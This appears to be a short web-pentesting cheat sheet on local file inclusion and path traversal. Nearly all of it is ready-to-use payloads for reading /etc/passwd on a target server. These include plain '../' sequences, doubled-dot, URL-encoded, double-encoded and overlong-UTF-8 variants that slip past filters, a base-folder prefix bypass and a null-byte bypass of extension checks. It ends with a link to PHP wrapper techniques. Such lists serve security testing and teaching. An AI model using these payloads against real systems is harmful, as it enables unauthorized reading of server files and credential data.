LFI / Path Traversal
We can bypass filters various ways:
../../../../etc/passwd
....//....//....//....//....//etc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd
%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f/etc/passwd
..%c0%af..%c0%af..%c0%af/etc/passwd
..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f..%ef%bc%8f/etc/passwd
An app may require file name to start with base folder like /var/www/images. We can then try filename=/var/www/images/../../../etc/passwd
.
An app may require filename to end with expected file extension like .jpg. We can then trye filename=../../../etc/passwd%00.png
.
PHP wrappers
For more wrappers:
https://www.thehacker.recipes/web/inputs/file-inclusion/lfi-to-rce/php-wrappers-and-streams
Last updated
Was this helpful?